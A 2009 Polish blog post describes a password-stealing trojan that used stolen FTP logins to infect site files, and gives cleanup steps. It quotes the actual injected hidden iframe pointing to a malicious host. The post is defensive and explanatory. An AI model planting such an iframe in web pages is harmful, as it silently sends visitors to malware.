Blog MiChaeL_13

Infekcje stron i blogów.

Kategoria: (Webmastering)    Data: 18 kwi 2009

Dzisiaj miałem okazję zapoznać się ze skutkami działania trojanów. Przez ostatnie kilka tygodni w internecie panują odmiany wirusa Trojan-PSW (w polecanych linkach ciekawa lektura na ich temat), wykorzystuję one lukę w Adobe Acrobat <=8.1.2.

Wykradają hasła z programów: WINDOWS Commander oraz Total Commander; CuteFTP, CuteFTP PRO; Mozilli i Opery; FileZilla; Mail.Ru Agent; FAR FTP; Thunderbird; Punto Switcher; hasła do AIM, GAIM, Eudora, E-Dialer, Outlook, INETCOMM Server, CoffeeCup Software, FlashXP, MirIM, SmartFTP; itp.

Dzięki temu zdobywają dostęp do FTPów naszych strony/bloga i infekują pliki odpowiedzialne za wyświetlanie strony dodając ramkę wbudowaną (iframe) wczytującą najróżniejsze strony. W moim przypadku zostały zainfekowane wszystkie pliki index.php, favicon.ico, default-filters.php oraz pliki szablonów wordpressa, a w nich dodany iframe:

<iframe src=”http://lotmachinesguide.cn/in.cgi?income66″ width=1 height=1 style=”visibility: hidden”></iframe>

Z tego co widzę w google każdy dostawał unikalne id w linku;p Oprócz ramek wbudowanych zdarza się doklejanie skryptów.

Wizyta u lekarza:

  1. Przeskanuj komputer programami antywirusowymi i anty spyware.
  2. Zainstaluj najnowszą wersję Adobe Acrobat oraz wszystkie aktualizacje (systemu operacyjnego, antywirusów, itp.).
  3. Jeśli komputer jest już czysty zmień hasła dostępu do FTP oraz inne zagrożone wycieknięciem.
  4. Wyłącz auto uzupełnianie haseł-wpisuj hasło za każdym razem jak łączysz się z FTP (gdy ponownie zarazisz się trojan nie będzie miał tak łatwo).
  5. Teraz usuń wszystkie dodane fragmenty kodu (iframes, javascritps itp.) z plików na serwerze. Najprościej będzie odzyskać je z kopii bezpieczeństwa.
  6. Sprawdź wszystkie pliki na serwerze-usuń wszystkie nowe nieznane dla Ciebie pliki.

Wykonaj wszystkie kroki bo jeśli przywrócisz tylko kopię plików bot wróci niedługo i ponownie zainfekuje Ci stronę. Lepiej pośpiesz się ponieważ google indeksując zainfekowaną stronę przypisuje jej tytuł “strona może wyrządzić szkody”! Jeśli już google oznaczy twoją stronę jako szkodliwą przejdź do Webmaster Tools poproś o ponowne przeanalizowanie strony.

Zalecam regularnie sprawdzać witrynę za pomocą Unmask Parasites czy nie zawiera jakiś szkodników.

Polecane linki:


Random Posts


Dodaj komentarz:
Nick: 
Email: 
WWW: 
Treść: